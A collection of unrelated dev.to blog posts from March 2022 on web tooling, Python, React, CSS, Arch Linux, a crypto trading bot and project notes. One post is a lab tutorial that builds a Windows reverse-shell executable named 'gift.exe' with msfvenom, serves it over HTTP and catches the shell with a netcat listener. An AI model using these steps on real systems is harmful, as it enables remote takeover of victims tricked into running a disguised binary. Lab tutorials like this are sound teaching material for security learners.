teleren/devto huggingface dataset:
Owning in Telescope
Tags: telescope, osd700, opensource
Published: 2022-03-27 16:16:04

I would like to write about my current experience in Telescope, and since we are nearing a 3.0 release, I would also like to talk about the area that I have, without a doubt, focused more on the entire term: the `dependency-discovery` service.

## `Depedency-discovery`

The area that I have worked on the most is the `dependency-discovery` service, and thus, it is my duty to see it being used by the 3.0 release. Although I have worked on some of these issues through this week, I would like to write about this as if I haven't (because this blog was supposed to be posted a week ago...).

So, if this was the week of March 20th, what I should focus on to guarantee the shipping of the `dependency-discovery` service?

1. Finish the collection of issues from GitHub repositories that are associated to the packages.
2. Design the first front-end for the service.
3. Add tests for the service.

I am oversimplifying the points above, as I don't want to delve deeply into *implementation* details.

An important point that I have to discuss is what risks I will be facing that could prevent me from shipping the `dependency-discovery`.

A major risk I need to worry about is that nobody would be able to review and approve my code. Now, since my PRs tend to be small (less than 300 loc changes), I think this is unlikely. Either way, I need to keep my PRs small so that anybody could review (even if they are new to the service).

Another risk is the front-end. We are nearing the 3.0 release, yet there are no signs of a front-end. I am not really sure how it is going to turn out, but I might want a really simple design that does what it needs to do, which is: facilitate finding issues of several repositories that are dependencies of Telescope.

I will do my best to bring this issue to fruition and see other students using it.
Improve Your Team's Productivity with Vercel's Preview Deployments
Tags: webdev, devops, productivity, free
Published: 2022-03-27 17:37:58

It's no secret that I love using Vercel. Not only does it provide me with free hosting and serverless functions, it also helps me to improve my productivity through CI/CD as a web developer. In this article, I will show you how your team can improve productivity using Vercel's free preview deployments. 

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/lqe3fdd6rcva3grwr2mh.png)
 
What are preview deployments? In short, they are deployments for your branches that aren't your 'main' branch, and they have a unique URL so that you or your code reviewers do not have to switch branches or clone to preview the changes. 

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0t5n3dc38q60ps902t4n.png) 

For example, you have a project hosted on Vercel with the domain myverycoolproject.vercel.app, and it is linked to your 'main' branch on GitHub. If you have another branch, and made a PR, Vercel automatically detects this, and deploys your changes to a separate URL, perhaps like myverycoolproject-f9n834234.vercel.app. With this preview URL, it allows you to immediately deploy the changes in that PR, without affecting your main deployment. Your team can preview the changes of the PR in a matter of seconds, and review the PR. Once the PR is approved and merged, the main deployment will then be updated with the changes.

To me, this saves a lot of time as I do not have to manually change branches and run the project on my device (or sometimes even clone the project). It makes code reviews a breeze, which improves the reliability and code quality of your project. I feel that this is such an important feature which should be in every CI/CD pipeline for a web development project, so try it out now!

To learn how to integrate Vercel into your projects, check out my other articles here: 
[Continuous Deployment for NodeJS Projects using Vercel](https://dev.to/kevinc/continuous-deployment-for-nodejs-projects-using-vercel-3bhd)
[How to setup Continuous Integration for your NodeJS project](https://dev.to/kevinc/how-to-setup-continuous-integration-for-your-nodejs-project-gei)
Professional Development: Take advantage of the FREE short course by the Project Management Institute (PMI)
Tags: pmi
Published: 2022-03-27 17:37:49

Project Kick-Off provides you with the basic concepts, tools and techniques you’ll need to get started managing projects in both Waterfall and Agile environments. 

[Registration Link](https://kickoff.pmi.org/login)

- Short 45-Minute Self-Paced
- Free (At the moment)
- No Exam, No Expiry
- Earn 2 PMI Badge on completion

Upon completion, send an e-mail to kickoff@pmi.org and they will manually add your badges to Credly.
How to copy markdown URL and title using JXA in Raycast (JavaScript automation for macOS)
Tags: jxa, markdown, raycast, automation
Published: 2022-03-27 17:37:38

---
title: How to copy markdown URL and title using JXA in Raycast (JavaScript automation for macOS) 
published: true
description: A script that copies markdown URL and title from multiple browsers on macOS
tags: JXA, markdown, Raycast, automation
cover_image: https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gryyg4yrl4z7455bm59j.png
canonical_url: https://www.chodorowicz.com/blog/copy-markdown-url-title
---

I was looking for a script that would copy markdown formatted URL and title `[Title of Page](https://url.of.page.com)` from multiple browsers since I'm using different browsers regularly. This kind of script can be used standalone or in one of the macOS automation apps like Alfred or Raycast.

![Raycast copy title](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/g24uszc0atf61xc2s4wt.jpg)
 
There are multiple examples of AppleScript, but most of them don't cater to multiple browsers. Also, as it turns out AppleScript automation is really cumbersome to work with. Its syntax was supposed to be readable, and it is, but due to that nature, it's not easy to write in. I'm not a fan of languages that try to mimic natural languages too much.

But as it turns out Since macOS Yosemite [JavaScript](https://en.wikipedia.org/wiki/AppleScript#JavaScript_for_Automation) is the first-class automation language. It's was much easier to create a more compact version of this script in markdown.

You can find the current version of the script in the following repository: [chodorowicz/copy-markdown-url-and-title: Script to copy URL and title from current browser](https://github.com/chodorowicz/copy-markdown-url-and-title).

To add it to Raycast follow instructions detailed here: [raycast/script-commands:](https://github.com/raycast/script-commands).

![Markdown copy URL and Title](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/gryyg4yrl4z7455bm59j.png)
How to make a profitable trading bot on Aldrin dTWAP? Or how to generate passive income in web3?
Tags: solana, node, typescript, web3
Published: 2022-03-27 17:34:46

> Aldrin Labs recently released dTWAP - distributed TWAP order
>(https://twitter.com/Aldrin_Exchange/status/1505272899149598721)

#### What is dTWAP

dTWAP - distributed TWAP order.
TWAP - means execution over time (read more here: _https://en.wikipedia.org/wiki/Time-weighted_average_price_)

#### What does it mean "distributed"?

It describes the nature of dTWAP implementation:
1. You create dTWAP order ( example: buy $10mln SOL over next 2 weeks )
2. dTWAP program will lock $10mln and start slowly unlock it for execution
3. dTWAP executor bot will notice arbitrage opportunity against any other source of liquidity and execute the ticket

So distributed means that your order might be executed across many liquidity sources from Serum/AMM to private liquidity pool by some VC


#### So how to create a bot that will be generating revenue?
Well, it's quite easy actually, first you need to learn node.js basics
Then you need to create a simple node.js web-server in Typescript and figure out how to deploy it to Heroku for example
Then you can just add this file https://github.com/aldrin-exchange/aldrin-sdk/blob/feature/dtwap-executor/examples/dtwap/dtwapSwap.ts
to your project, import it, setup private key in ENV and you are good to go

Don't forget to tweak priceDiff at Line 13! At this point (27mar 2022) priceDiff must be at least bigger than 0.5 to be profitable with execution against Aldrin AMM

#### Improvement ideas:
- integrate with aggregator
- integrate with CEX 
- integrate with own liquidity 


> **NOTICE:**
> dTWAP right now is in private beta mode, so volume might be not that interesting, but it's good opportunity to learn how to create own bot and prepare for full launch in few weeks!


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jkj9safwenlv4av81r3e.png)
Cloud Native Summit
Tags: azure, cloudnative, cloud, kubernetes
Published: 2022-03-27 17:21:16

Register for Cloud Native Summit 🚀 for FREE to explore and get hands-on with the Azure Kubernetes Services (AKS) and infuse AI into applications with expert guidance.

📌 Registration: [Register Now](https://mktoevents.com/Microsoft+Event/318281/157-GQE-382?WT.mc_id=AZ-MVP-5004750)

📌 Time: 29 March, 2022, 9:30 CET
Forget the 10.000 hour rule! Strive for range!
Tags: beginners, discuss, career, books
Published: 2022-03-27 17:19:14

In his book _Outliers_ Malcom Gladwell argues that the perfection of a certain skill takes a lot of time. 
He brings up successful people from different domains and analyzes their lives.
It all boils down to one thing:

- practice
- more practice 
- even more practice

## Range

David Epstein in his book _Range_ provides a fresh perspective on this debate.
Who has the upper hand in long and daunting journey striving for perfection in a certain skill:
the one who focuses early and gets in a lot of practice ? 
Or the one trying out things across different fields and deciding later on what to master in life.
He brings up famous people like Vincent van Gogh and explains how a late start and a huge range of different experiences can be essential for mastering a skill.

During reading his book, I thought about how this discussion influences tech careers. 
I think a late start into a tech career does not prevent one from becoming a great developer. 
Earlier experiences in other domains can help with understanding the customer/user better.
Previously earned domain knowledge can be applied during requirements engineering. It can help explain the customers’ needs to colleagues etc.

Of course there are a lot of hard skills to master in tech like getting familiar with the syntax of a new programming language. 
However, I think a broad range of skills can be helpful, especially when working in a team.
Having people with different skills on your team brings fresh and new perspective to your hive mind.

## Let's discuss

Did you specialize early in your career on a certain niche?
Did you switch careers late? 
If so, do you regret it or are your previously earned experiences beneficial?

**Sources**
[Outliers](https://www.gladwellbooks.com/titles/malcolm-gladwell/outliers/9780316040341/)
[Range](https://davidepstein.com/the-range/)
[Header picture](https://unsplash.com/photos/PxiAc1aElFQ)
python code for a treasure hunt game
Published: 2022-03-27 16:49:14

Learning python has made me realize the importance of repetition. Especially if one is new to it. 

Today, i was able to write a basic code for a treasure hunt game without guidiance


```
print("Welcome to Treasure Island.")
print("Your mission is to find the treasure.") 



first_choice = input('You\re on a crossroad, where do you want to go? Left or right\n').lower()


if first_choice == 'left':
  second_choice = input('You\ve come to a lake. There is an island in the middle of the lake. Do you wait or swim?\n"').lower()

  
  if second_choice == 'wait':

    third_choice = input('You have arrived the island unharmed. There is a house with 3 doors. One red, one yellow and one blue. Which colour do you choose?\n').lower()

    
    if third_choice == 'blue':
      print('Eaten by beasts. Game over')
    elif third_choice == 'red':
      print('burned by fire. Game over')
    elif third_choice == 'yellow':
      print('You win')
    else:
      print('Game over.')
  
    
  else:
    print('swallowed by a shark. Game over')
  
else:
  print('oops! wrong choice. Game over')

```
How to change a tooltip to dark theme in Altair?
Tags: python, altair, datavisualization, vega
Published: 2022-03-27 16:37:26

When we add a [tooltip](https://vega.github.io/vega-lite/docs/tooltip.html) to a chart in Altair, as in the example below, it follows a light theme by default. This tooltip implementation comes from [Vega Tooltip](https://github.com/vega/vega-tooltip), a plugin included in [Vega-Embed](https://github.com/vega/vega-embed) (the package used under the hood to render the charts).

```python
import altair as alt
import pandas as pd

source = pd.DataFrame(
    {
        "a": ["A", "B", "C", "D", "E", "F", "G", "H", "I"],
        "b": [28, 55, 43, 91, 81, 53, 19, 87, 52],
    }
)

alt.Chart(source).mark_bar(tooltip=True).encode(x="a", y="b")
```

![Example of a light-themed tooltip in an Altair chart](https://res.cloudinary.com/dnhtjs74d/image/upload/v1648398809/blog/light_theme_p3uza2.png)

In addition to the `light` theme, Vega Tooltip also has another [predefined theme](https://github.com/vega/vega-tooltip/blob/v0.28.0/src/defaults.ts#L32): the `dark` theme. To use the `dark` theme, let's set one of the Vega-Embed options to do so, similar to when [we configured Vega-Embed for a single Altair chart](https://dev.to/joaompalmeiro/how-to-configure-vega-embed-for-a-single-altair-chart-4chd):

```python
metadata = {"embedOptions": {"tooltip": {"theme": "dark"}}}
```

Now, considering the chart we created at the beginning, we just need to pass the dictionary defined above as an argument to the `properties()` method:

```python
alt.Chart(source).mark_bar(tooltip=True).encode(x="a", y="b").properties(
    usermeta=metadata
)
```

As a result, the tooltip will look like this:

![Example of a dark-themed tooltip in an Altair chart](https://res.cloudinary.com/dnhtjs74d/image/upload/v1648398809/blog/dark_theme_rsw1ds.png)

On the other hand, to enable the `dark` theme [globally](https://github.com/altair-viz/altair/blob/v4.2.0/altair/utils/display.py#L39) for all charts in a notebook, for example, it is a matter of running the following snippet initially:

```python
alt.renderers.set_embed_options(tooltip={"theme": "dark"})
```

Finally, if you have any questions or suggestions, feel free to leave a comment below!
Creating reverse shell binary
Tags: cybersecurity, malware, reverseshell, metasploit
Published: 2022-03-27 16:34:12

So far we have played only with `nectat` in command line in order to understand reverse shell. Now we are going to go just one step further close to real world by creating an executable binary of a reverse shell. 

For this we need `msfvenom` which is part of Metasploit Framework. It comes preinstalled with Kali Linux, if you are going to use some other operating system, there is a very good [official guide here](https://docs.rapid7.com/metasploit/installing-the-metasploit-framework/) for how to install Metasploit in different OS. In my case the victim machine runs on Windows 10 and the attack machine runs on Xubuntu 20.04. Both are virtual machines.

One important thing to do before this experiment, you will have to turn off the firewall in your attacker machine. Victim machine's firewall mostly won't block any outbound connections. In case you are getting any issues, turn that one off as well. There are techniques to bypass the firewalls and IDS/IPS, but we are going to keep things simple for now by turning off the firewall.

First open up a terminal in your attack machine and run the following command.

`msfvenom -p windows/shell_reverse_tcp LHOST=<attack-machine ip> LPORT=<attack-machine port> -f exe > gift.exe`

It should generate gift.exe in your current directory. Then run the following command to spin up a http server so that gift.exe can be downloaded into the victim machine.

`python3 -m http.server`

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/hvrr9klenpjna3jdjqvn.png)

Now open up the browser in the victim machine and go to http://attack-machine-ip:8000 and click the link to gift.exe and click the keep button on the pop-up to proceed the download.

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/0imytf328saohpdh049i.png)

After the download you can stop the http server in your attack machine by pressing `CTL+C` and then run the following command to spin up the `netcat` instance in listener mode.

`nc -l -p 8989`

Now you can open the gift.exe and it will run on the background and you won't notice any change in you screen. 

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/h54w8tszli77ddl94h9u.png)

Note that I have moved the gift.exe to my Desktop and ran it from there just for clarity, but you can run it from anywhere in your victim machine. Now you can go to your attack machine and see that you have got a reverse shell to play with..

![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/jhjn8mqfmtajvz95gqbg.png)

In real world, Attacker might change the logo of the executable to trick you to believe as if it is just a document or some other file as the extensions are hidden in Windows by default.

I hope you find this post useful. See you on next one..
¿Problema con la hora en arch linux ?
Tags: linux, archlinux
Published: 2022-03-27 16:25:39

Este problema es frecuente cuando haces un dual boot con windows, o dejas de usar windows para instalar arch linux(también pasa con otras distribuciones pero es más frecuente en arch linux). La hora no es la que debería y esto ocasiona unos problemas como:
* Los mirrors no descarguen bien, la velocidad de descarga es muy pero muy lenta.
* El navegador ocasiona problemas a la hora de hacer busquedas(con el buscador duckduckgo más que todo), y las descargas también se vean afectadas descargando lento.

### Solución al problema efectiva:
```
$ -> usuario
# -> root
```
1) Debemos instalar ntp([Info de [ntp] aquí](https://wiki.archlinux.org/title/Network_Time_Protocol_daemon))
Lo instalamos con el comando:
`$ sudo pacman -S ntp`
2) Ejecutamos el comando ntp con algunos flag(parámetros o banderas)
`# ntpd -qg`
aquí comenzará a reparar la hora, y colocará la hora de nuestra región
3) Ahora debemos guardar esta hora porque al reiniciar se borran. Para esto vamos a usar el comando **hwclock** [Aquí más información para aprender a usar hwclock](https://man.archlinux.org/man/hwclock.8)
Usamos el siguiente commando:
`# hwclock -w`

con esto solucionamos este problema, y aunque reinicie no se cambia la hora.

*Recordar que necesitas un localtime primero* [Info localtime aquí] (https://man.archlinux.org/man/localtime.5#DESCRIPTION):
`# ln -s /usr/share/zoneinfo/America/Bogota /etc/localtime`
en mi caso sería este.
Search Component in React
Tags: react, reactnative, webdev, beginners
Published: 2022-03-27 16:01:55

**Search Bar** is a text-box used to search data in file or database based on user’s input. In our web or mobile applications we can create search component in react in different ways. Here below we will create react search component in class component.

## Create Search Bar in React

```typescript
class SearchComponent extends React.Component {

   state = { searchString: '' }
   
   handleChange = (e) => {
     this.setState({ searchString:e.target.value });
   }

   render() {
     
     var searchItems = this.props.items,
         searchString = this.state.searchString.trim().toLowerCase();
     
     if (searchString.length > 0) {
       searchItems = searchItems.filter(function(i) {
         return i.name.toLowerCase().match( searchString );
       });
     }

     return (
       <div>
          <input type="text" value={this.state.searchString} onChange={this.handleChange} placeholder="Type here..."/>
          <ul>
            {searchItems.map(function(i) {
                return <li>{i.name} <a href={i.url}>{i.url}</a></li>;
            }) } 
          </ul>
       </div>
     );
   }
}

export default SearchComponent;
```

Now, we have an **&lt;SearchComponent /&gt;** which we can use in our class or functional component and **items is an prop** for this component. For example, we are using **&lt;SearchComponent /&gt;** in the component below.

```typescript
import {SearchComponent} from './search-component';

class HomePage extends React.Component {

	render() {
     
	// Search Items this can be static or through API
	var searchItems = [
	    { name: 'AngularJS', url: 'https://angularjs.org/'},
	    { name: 'jQuery', url: 'https://jquery.com/'},
	    { name: 'React', url: 'https://facebook.github.io/react/'},
	    { name: 'Express', url: 'http://expressjs.com/'},
	    { name: 'PHP', url: 'http://w3courses.org/'},
	  	{ name: 'Laravel', url: 'http://w3courses.org/'}
	];

     return (
       <div>
          	// put input and display on page
			<SearchComponent items={searchItems} />
       </div>
     );
   }

}

export default HomePage;
```
You can also apply some CSS to <SearchComponent /> to beautify style or icons.

---

Please like share subscribe and give positive feedback to motivate me to write more for you.

For more tutorials please [visit my website](https://www.w3courses.org/tutorials/).

Thanks:)
Happy Coding:)
How to get better at CSS as a beginner
Tags: webdev, beginners, css, guide
Published: 2022-03-27 16:01:30

One fine day, You start Web development looking at some cool websites and feel like yeah I wanna try making something awesome like this. You start with HTML , It's easy and then you encounter CSS. You try doing it and you start to feel overwhelmed and decide to quit Web development. Don't worry you aren't the only one who feels this way. When I started Web development I felt this way too.
So how do you overcome this feeling?
Well I am certainly not a professional just a guy who was struggling like you.
This are few things I tried to  get better at CSS
1. Do not dwell on basics for too long. I know we try to remember the syntax and all the basics but it does not matter. You are gonna google the stuff anyway. Just understand what's happening and move on. You will understand all that when you practice it.

2. Do not try to learn 10 different things at the same time. Focus on one thing at a time. Practice it. Understand it. Don't memorize the syntax. You aren't gonna remember all of that anyway. Remember you always have google.

3 Practice, Practice And Practice.
  You probably heard a lot of people say this to you and got stuck 
  like you and wonder what do you do for practice. How do I get 
  better at this. Well just make some landing pages . 1 day 1 
  design and you will learn so much. For example you could start 
  and focus making the whole layout with the help of flex and use 
  flex everywhere. Look at the design and imagine where you would 
  use flex , the direction, the alignment and much more. 
  You will learn much more doing stuff yourself that watching 
  tutorials and scratching your brain on how to get better at CSS.